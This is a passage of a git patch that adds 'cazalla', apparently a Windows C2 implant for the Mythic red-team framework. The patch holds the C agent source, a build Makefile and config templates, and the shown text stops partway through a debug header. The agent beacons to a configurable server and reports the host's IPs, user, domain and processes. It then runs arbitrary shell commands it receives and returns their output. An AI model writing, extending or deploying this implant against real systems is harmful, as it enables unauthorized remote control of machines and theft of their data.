From c29f059fffdfe0dcd92e36464cabeb9a1c413d14 Mon Sep 17 00:00:00 2001 From: "marcos.luna" Date: Wed, 2 Apr 2025 16:45:10 +0200 Subject: [PATCH] v0.3:Conectividad y exit --- C2_Profiles/.keep | 0 LICENSE.md | 28 ++ Payload_Type/cazalla/.keep | 0 Payload_Type/cazalla/Dockerfile | 25 ++ Payload_Type/cazalla/__init__.py | 0 Payload_Type/cazalla/cazalla/__init__.py | 20 ++ .../cazalla/agent_code/cazalla/Analizador.c | 115 ++++++++ .../cazalla/agent_code/cazalla/Config.h | 13 + .../cazalla/agent_code/cazalla/Makefile | 43 +++ .../cazalla/agent_code/cazalla/analizador.h | 26 ++ .../cazalla/agent_code/cazalla/cazalla.c | 37 +++ .../cazalla/agent_code/cazalla/cazalla.h | 35 +++ .../agent_code/cazalla/cerrarCallback.c | 35 +++ .../agent_code/cazalla/cerrarCallback.h | 11 + .../cazalla/agent_code/cazalla/checkin.c | 196 +++++++++++++ .../cazalla/agent_code/cazalla/checkin.h | 17 ++ .../cazalla/agent_code/cazalla/comandos.c | 78 +++++ .../cazalla/agent_code/cazalla/comandos.h | 23 ++ .../cazalla/agent_code/cazalla/consola.c | 38 +++ .../cazalla/agent_code/cazalla/consola.h | 7 + .../cazalla/agent_code/cazalla/debug.h | 42 +++ .../cazalla/cazalla/agent_code/cazalla/main.c | 12 + .../cazalla/agent_code/cazalla/paquete.c | 122 ++++++++ .../cazalla/agent_code/cazalla/paquete.h | 31 ++ .../cazalla/agent_code/cazalla/transporte.c | 123 ++++++++ .../cazalla/agent_code/cazalla/transporte.h | 16 ++ .../cazalla/agent_code/cazalla/utils.c | 193 +++++++++++++ .../cazalla/agent_code/cazalla/utils.h | 25 ++ .../cazalla/agent_functions/__init__.py | 0 .../cazalla/agent_functions/builder.py | 131 +++++++++ .../cazalla/agent_functions/cazalla.png | Bin 0 -> 208556 bytes .../cazalla/agent_functions/cazalla.svg | 266 ++++++++++++++++++ .../cazalla/cazalla/agent_functions/exit.py | 37 +++ .../cazalla/cazalla/agent_functions/shell.py | 44 +++ Payload_Type/cazalla/main.py | 11 + Payload_Type/cazalla/rabbitmq_config.json | 6 + Payload_Type/cazalla/requirements.txt | 9 + Payload_Type/cazalla/translator/__init__.py | 0 .../cazalla/translator/commands_from_c2.py | 57 ++++ .../translator/commands_from_implant.py | 96 +++++++ Payload_Type/cazalla/translator/translator.py | 52 ++++ Payload_Type/cazalla/translator/utils.py | 7 + README.md | 185 ++++++++++++ agent_icons/.keep | 0 agent_icons/cazalla.svg | 266 ++++++++++++++++++ config.json | 7 + 46 files changed, 2485 insertions(+) create mode 100644 C2_Profiles/.keep create mode 100644 LICENSE.md create mode 100644 Payload_Type/cazalla/.keep create mode 100644 Payload_Type/cazalla/Dockerfile create mode 100644 Payload_Type/cazalla/__init__.py create mode 100644 Payload_Type/cazalla/cazalla/__init__.py create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/analizador.h create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.h create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.h create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/__init__.py create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/builder.py create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/cazalla.png create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/cazalla.svg create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/exit.py create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/shell.py create mode 100644 Payload_Type/cazalla/main.py create mode 100644 Payload_Type/cazalla/rabbitmq_config.json create mode 100644 Payload_Type/cazalla/requirements.txt create mode 100644 Payload_Type/cazalla/translator/__init__.py create mode 100644 Payload_Type/cazalla/translator/commands_from_c2.py create mode 100644 Payload_Type/cazalla/translator/commands_from_implant.py create mode 100644 Payload_Type/cazalla/translator/translator.py create mode 100644 Payload_Type/cazalla/translator/utils.py create mode 100644 README.md create mode 100644 agent_icons/.keep create mode 100644 agent_icons/cazalla.svg create mode 100644 config.json diff --git a/C2_Profiles/.keep b/C2_Profiles/.keep new file mode 100644 index 0000000..e69de29 diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..a8a4de8 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,28 @@ + +Copyright (c) 2023, its-a-feature +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither the name of [project] nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/Payload_Type/cazalla/.keep b/Payload_Type/cazalla/.keep new file mode 100644 index 0000000..e69de29 diff --git a/Payload_Type/cazalla/Dockerfile b/Payload_Type/cazalla/Dockerfile new file mode 100644 index 0000000..961f44d --- /dev/null +++ b/Payload_Type/cazalla/Dockerfile @@ -0,0 +1,25 @@ +FROM python:3.11 + +ARG CA_CERTIFICATE +ARG NPM_REGISTRY +ARG PYPI_INDEX +ARG PYPI_INDEX_URL +ARG DOCKER_REGISTRY_MIRROR +ARG HTTP_PROXY +ARG HTTPS_PROXY + +RUN apt-get -y update && \ + apt-get -y upgrade && \ + apt-get install --no-install-recommends \ + software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \ + xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \ + apt-get purge -y && \ + rm -rf /var/lib/apt/lists/* && \ + apt-get clean + +COPY requirements.txt / +RUN pip3 install -r /requirements.txt + +WORKDIR /Mythic/ + +CMD ["python3", "main.py"] \ No newline at end of file diff --git a/Payload_Type/cazalla/__init__.py b/Payload_Type/cazalla/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Payload_Type/cazalla/cazalla/__init__.py b/Payload_Type/cazalla/cazalla/__init__.py new file mode 100644 index 0000000..4d49f37 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/__init__.py @@ -0,0 +1,20 @@ +import glob +import os.path +from pathlib import Path +from importlib import import_module, invalidate_caches +import sys +# Get file paths of all modules. + +currentPath = Path(__file__) +searchPath = currentPath.parent / "agent_functions" / "*.py" +modules = glob.glob(f"{searchPath}") +invalidate_caches() +for x in modules: + if not x.endswith("__init__.py") and x[-3:] == ".py": + module = import_module(f"{__name__}.agent_functions." + Path(x).stem) + for el in dir(module): + if "__" not in el: + globals()[el] = getattr(module, el) + + +sys.path.append(os.path.abspath(currentPath.name)) diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c new file mode 100644 index 0000000..8b2d1e8 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c @@ -0,0 +1,115 @@ +#include "analizador.h" + +//Creacion de un nuevo Analizador. +PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) { + //v2 change to syscalls + PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador)); + pAnalizador->buffer = NULL; + pAnalizador->tamano = tamano; + pAnalizador->tamanoOriginal = tamano; + pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano); + + if (!pAnalizador->original) { + return NULL; + } + + memcpy(pAnalizador->original, buffer, tamano); + pAnalizador->buffer = pAnalizador->original; + + return pAnalizador; +} + +VOID liberarAnalizador(PAnalizador analizador) { + + analizador->original = NULL; + analizador->buffer = NULL; + LocalFree(analizador); + +} + + +BYTE getByte(PAnalizador analizador) { + + BYTE intByte = 0; + if (analizador->tamano < 1) { + return 0; + } + + //v2. Syscalls + memcpy(&intByte, analizador->buffer, 1); + analizador->buffer += 1; + analizador->tamano -= 1; + + return intByte; + +} + + +UINT32 getInt32(PAnalizador analizador) { + + UINT32 intByte = 0; + if (analizador->tamano < 4) { + return 0; + } + + //v2. Syscalls + memcpy(&intByte, analizador->buffer, 4); + analizador->buffer += 4; + analizador->tamano -= 4; + + return BYTESWAP32(intByte); + +} + +UINT64 getInt64(PAnalizador analizador) { + + UINT64 intByte = 0; + if (analizador->tamano < 8) { + return 0; + } + + //v2. Syscalls + memcpy(&intByte, analizador->buffer, 8); + analizador->buffer += 8; + analizador->tamano -= 8; + + return BYTESWAP64(intByte); + +} + +PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) { + + SIZE_T length = 0; + if (*tamano == 0) { + + length = getInt32(analizador); + *tamano = length; + } + else { + + length = *tamano; + + } + + PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length); + if (!datosDeSalida) { + return NULL; + } + + memcpy(datosDeSalida, analizador->buffer, length); + analizador->buffer += length; + analizador->tamano -= length; + + return datosDeSalida; +} + +PCHAR getString(PAnalizador analizador, PSIZE_T tamano) { + + return (PCHAR)getBytes(analizador, tamano); +} + +PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) { + + return (PWCHAR)getBytes(analizador, tamano); + +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h new file mode 100644 index 0000000..a08ef0e --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h @@ -0,0 +1,13 @@ +#pragma once +#define initUUID "%UUID%" +#define hostname L"%HOSTNAME%" +#define endpoint L"%ENDPOINT%" +#define ssl %SSL% +#define proxyenabled %PROXYENABLED% +#define proxyurl L"%PROXYURL%" + +#define useragent L"%USERAGENT%" +#define httpmethod L"POST" +#define port %PORT% + +#define sleep_time %SLEEPTIME% \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile new file mode 100644 index 0000000..dc6c73b --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile @@ -0,0 +1,43 @@ +# Compiler +CC = x86_64-w64-mingw32-gcc +CFLAGS = -Wall -w -s -IInclude +LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp +DFLAGS = -D_DEBUG + +# Directories +SRC_FILES := *.c +BUILD_DIR = build + +# Ensure build directory exists +$(shell mkdir -p $(BUILD_DIR)) + +# Build Targets +all: exe dll + +exe: $(BUILD_DIR)/cazalla.exe + +dll: $(BUILD_DIR)/cazalla.dll + +debug: debug_exe debug_dll + +debug_exe: $(BUILD_DIR)/cazalla-debug.exe + +debug_dll: $(BUILD_DIR)/cazalla-debug.dll + +# Executable Target +$(BUILD_DIR)/cazalla.exe: $(SRC_FILES) + $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) + +$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES) + $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS) + +# DLL Target +$(BUILD_DIR)/cazalla.dll: $(SRC_FILES) + $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) + +$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES) + $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS) + +# Clean up +clean: + rm -rf $(BUILD_DIR) diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/analizador.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/analizador.h new file mode 100644 index 0000000..92897ed --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/analizador.h @@ -0,0 +1,26 @@ +#pragma once +#ifndef ANALIZADOR_H +#define ANALIZADOR_H + +#include "utils.h" + +typedef struct { + + PBYTE original; + PBYTE buffer; + SIZE_T tamano; + SIZE_T tamanoOriginal; + +} Analizador, * PAnalizador; + +PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano); +VOID liberarAnalizador(PAnalizador analizador); + +BYTE getByte(PAnalizador analizador); +UINT32 getInt32(PAnalizador analizador); +UINT64 getInt64(PAnalizador analizador); +PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano); +PCHAR getString(PAnalizador analizador, PSIZE_T tamano); +PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c new file mode 100644 index 0000000..6dfc526 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c @@ -0,0 +1,37 @@ +#include "cazalla.h" +#include "Config.h" + +CONFIG_CAZALLA* cazallaConfig = NULL; + +VOID cazallaMain() { + + //v2: evitar LocalAlloc + cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA)); + cazallaConfig->idAgente = (PCHAR)initUUID; + cazallaConfig->hostName = (PWCHAR)hostname; + cazallaConfig->puertoHttp = port; + cazallaConfig->endPoint = (PWCHAR)endpoint; + cazallaConfig->userAgent = (PWCHAR)useragent; + cazallaConfig->metodoHttp = (PWCHAR)httpmethod; + cazallaConfig->SSL = ssl; + cazallaConfig->proxyHabilitado = proxyenabled; + cazallaConfig->urlProxy = (PWCHAR)proxyurl; + cazallaConfig->tiempoSleep = sleep_time; + + PAnalizador respuestaAnalizador = checkin(); + + if (!respuestaAnalizador) { + _err("error en el primer checkin, cerrando\n"); + return; + } + + parseChecking(respuestaAnalizador); + while (TRUE) + rutina(); +} + +VOID setUUID(PCHAR newUUID) { + cazallaConfig->idAgente = newUUID; + return; +} + diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h new file mode 100644 index 0000000..9eb2d76 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h @@ -0,0 +1,35 @@ +#pragma once +#ifndef CAZALLA_H +#define CAZALLA_H + +#include +#include "paquete.h" + +#include "analizador.h" +#include "utils.h" +#include "checkin.h" + +typedef struct { + // UUID + PCHAR idAgente; + //HTTP + PWCHAR hostName; + DWORD puertoHttp; + PWCHAR endPoint; + PWCHAR userAgent; + PWCHAR metodoHttp; + + BOOL SSL; + BOOL proxyHabilitado; + PWCHAR urlProxy; + + UINT32 tiempoSleep; +}CONFIG_CAZALLA, * PCONFIG_CAZALLA; + +extern PCONFIG_CAZALLA cazallaConfig; + + +VOID setUUID(PCHAR newUUID); +VOID cazallaMain(); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c new file mode 100644 index 0000000..41e64a4 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c @@ -0,0 +1,35 @@ +#include "cerrarCallback.h" +#include "paquete.h" +#include + + +BOOL cerrarCallback(PAnalizador argumentos){ + + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + + // Crear paquete de respuesta + PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE); + + // Si falla la creación del paquete, cerramos con error + if (!paquete) { + ExitProcess(1); + return FALSE; + } + + // Agregar el UUID de la tarea + addString(paquete, tareaUuid, FALSE); + + // Indicar que la tarea se completó con éxito + addByte(paquete, TASK_COMPLETE); + + // Enviar el paquete + mandarPaquete(paquete); + + // Liberar memoria del paquete + liberarPaquete(paquete); + + // Terminar el proceso + ExitProcess(0); + return TRUE; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.h new file mode 100644 index 0000000..f72e2ef --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.h @@ -0,0 +1,11 @@ +#pragma once +#ifndef EXIT_H +#define EXIT_H + +#include +#include "analizador.h" + +BOOL cerrarCallback(PAnalizador argumentos); + + +#endif //EXIT_H \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c new file mode 100644 index 0000000..5ff808a --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c @@ -0,0 +1,196 @@ +#include "checkin.h" +#include "cazalla.h" + +#pragma comment(lib, "iphlpapi.lib") +#include + +// Obtener Direcciones IPs. +UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) { + + PMIB_IPADDRTABLE pTablaDireccionesIP; + DWORD dwSize = 0; + DWORD dwRetVal = 0; + IN_ADDR IPAddr; + LPVOID lpMsgBuf; + + pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE)); + if (pTablaDireccionesIP) { + + if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) { + + LocalFree(pTablaDireccionesIP); + pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize); + } + + if (pTablaDireccionesIP == NULL) { + return NULL; + } + } + else { + return NULL; + } + + if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) { + + return NULL; + + } + else { + + *numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries; + } + + UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32)); + + for (UINT32 i = 0; i < *numeroDeIPs; i++) { + + IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr; + tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr); + } + + if (pTablaDireccionesIP) { + + LocalFree(pTablaDireccionesIP); + } + + return tableOfIPs; +} + + +// Obtener la arquitectura +BYTE obtenerArquitectura() { + + SYSTEM_INFO informacionDelSistema; + + GetNativeSystemInfo(&informacionDelSistema); + if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) { + return 0x64; + } + + return 0x86; +} + +// Obtener el Hostname +PCHAR obtenerHostame() { + + LPSTR datos = NULL; + DWORD dataLen = 0; + const char* hostnameRep = "N/A"; + + if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) + { + if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) + { + GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen); + hostnameRep = datos; + } + } + return (char*)hostnameRep; +} + +// Obtener el usuario +char* obtenerUsuarios() { + + LPSTR datos = NULL; + DWORD dataLen = 0; + const char* usuario = "N/A"; + + if (!GetUserNameA(NULL, &dataLen)) { + + if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) { + + GetUserNameA(datos, &dataLen); + usuario = datos; + } + } + return (char*)usuario; +} + +// Obtener el dominio +LPWSTR obtenerDominio() { + + DWORD dwLevel = 102; + LPWKSTA_INFO_102 pBuf = NULL; + PWCHAR dominio = NULL; + NET_API_STATUS nStatus; + LPWSTR pszServerName = NULL; + + nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf); + if (nStatus == NERR_Success) { + + DWORD length = lstrlenW(pBuf->wki102_langroup); + dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length); + memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length); + } + + if (pBuf != NULL) { + + NetApiBufferFree(pBuf); + } + + return dominio; +} + +char* getOsName() { + + return (PCHAR)"Windows"; +} + +// Obtener el nombre del proceso actual +char* obtenerNombreProceso() { + + char* nombreProceso = NULL; + HANDLE handle = GetCurrentProcess(); + if (handle) { + + DWORD buffSize = 1024; + CHAR buffer[1024]; + + if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) { + + nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1); + memcpy(nombreProceso, buffer, buffSize); + } + CloseHandle(handle); + } + return nombreProceso; +} + + +PAnalizador checkin() { + + UINT32 numeroDeIPs = 0; + PPaquete checkin = nuevoPaquete(CHECKIN, TRUE); + if (!checkin) { + _err("Error: nuevoPaquete() devolvió NULL en checkin\n"); + return NULL; + } + addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE); + + UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs); + addInt32(checkin, numeroDeIPs); + for (UINT32 i = 0; i < numeroDeIPs; i++) { + addInt32(checkin, tableOfIPs[i]); + } + + addString(checkin, getOsName(), TRUE); + addByte(checkin, obtenerArquitectura()); + addString(checkin, obtenerHostame(), TRUE); + addString(checkin, obtenerUsuarios(), TRUE); + addWString(checkin, obtenerDominio(), TRUE); + addInt32(checkin, GetCurrentProcessId()); + addString(checkin, obtenerNombreProceso(), TRUE); + addString(checkin, (PCHAR)"1.1.1.1", TRUE); + + + PAnalizador respuestaAnalizador = mandarPaquete(checkin); + + liberarPaquete(checkin); + + if (!respuestaAnalizador) { + _err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n"); + return NULL; + + } + return respuestaAnalizador; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h new file mode 100644 index 0000000..b55139f --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h @@ -0,0 +1,17 @@ +#pragma once + +#ifndef CHECKIN_H +#define CHECKIN_H +#include +#include +#include +#include "paquete.h" +#include "transporte.h" +#include "analizador.h" +#include "comandos.h" + +#pragma comment(lib, "netapi32.lib") + +PAnalizador checkin(); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c new file mode 100644 index 0000000..1cc8d64 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -0,0 +1,78 @@ +#include "cazalla.h" +#include "comandos.h" + +BOOL handleGetTasking(PAnalizador obtenerTarea) { + + UINT32 numeroTareas = getInt32(obtenerTarea); + if (numeroTareas) { + _dbg("[Tareas] hay %d tareas !\n", numeroTareas); + } + + for (UINT32 i = 0; i < numeroTareas; i++) { + SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID + BYTE tarea = getByte(obtenerTarea); + PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea); + PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea); + + if (tarea == SHELL_CMD) + { + ejecutarConsola(analizadorTarea); + } + else if (tarea == EXIT_CMD) { + cerrarCallback(analizadorTarea); + } + + } + return TRUE; +} + +BOOL commandDispatch(PAnalizador respuesta) { + + BYTE tipoRespuesta = getByte(respuesta); + if (tipoRespuesta == GET_TASKING) { + return handleGetTasking(respuesta); + } + else if (tipoRespuesta == POST_RESPONSE) { + return TRUE; + } + return TRUE; +} + +BOOL parseChecking(PAnalizador respuestaAnalizador) { + + if (getByte(respuestaAnalizador) != CHECKIN) { + + liberarAnalizador(respuestaAnalizador); + return FALSE; + } + + SIZE_T tamanoUuid = 36; + PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid); + setUUID(nuevoUuid); + + _dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid); + + liberarAnalizador(respuestaAnalizador); + + return TRUE; +} + +BOOL rutina() { + + PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE); + addInt32(obtenerTarea, NUMBER_OF_TASKS); + + Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea); + // sin respuesta + if (!respuestaAnalizador) { + + return FALSE; + } + commandDispatch(respuestaAnalizador); + + // Sleep + Sleep(cazallaConfig->tiempoSleep); + + return TRUE; + +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h new file mode 100644 index 0000000..8d435ca --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -0,0 +1,23 @@ +#pragma once + +#ifndef COMMANDOS +#define COMMANDOS + +#include "analizador.h" +#include "paquete.h" +#include "consola.h" +#include "cerrarCallback.h" + +#define SHELL_CMD 0x54 +#define GET_TASKING 0x00 +#define POST_RESPONSE 0x01 +#define CHECKIN 0xf1 + +#define NUMBER_OF_TASKS 1 + +#define EXIT_CMD 0x80 + +BOOL parseChecking(PAnalizador respuestaAnalizador); +BOOL rutina(); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c new file mode 100644 index 0000000..9c6dcaf --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c @@ -0,0 +1,38 @@ +#include "consola.h" + +BOOL ejecutarConsola(PAnalizador argumentos) { + + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + UINT32 nbArg = getInt32(argumentos); + SIZE_T tamano = 0; + PCHAR comando = getString(argumentos, &tamano); + + comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); + + FILE* fp; + CHAR ruta[1035]; + + PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaTarea, tareaUuid, FALSE); + + //paquete temporal para la salida + PPaquete salida = nuevoPaquete(0, FALSE); + + fp = _popen(comando, "rb"); + if (!fp) { + _err("[Consola] Error ejecutando el comando"); + return FALSE; + } + + while (fgets(ruta, sizeof(ruta), fp) != NULL) { + addString(salida, ruta, FALSE); + } + + addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); + + _pclose(fp); + Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea); + + return TRUE; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.h new file mode 100644 index 0000000..a4858f2 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.h @@ -0,0 +1,7 @@ +#pragma once +#include +#include "paquete.h" +#include "analizador.h" +#include "comandos.h" + +BOOL ejecutarConsola(PAnalizador argumentos); \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h new file mode 100644 index 0000000..0e47264 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h @@ -0,0 +1,42 @@ +#pragma once + +#include + +#if defined(_DEBUG) + + +#define DBG "DBG" +#define ERR "ERR" +#define WRN "WRN" +#define INF "INF" + +#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); +#define 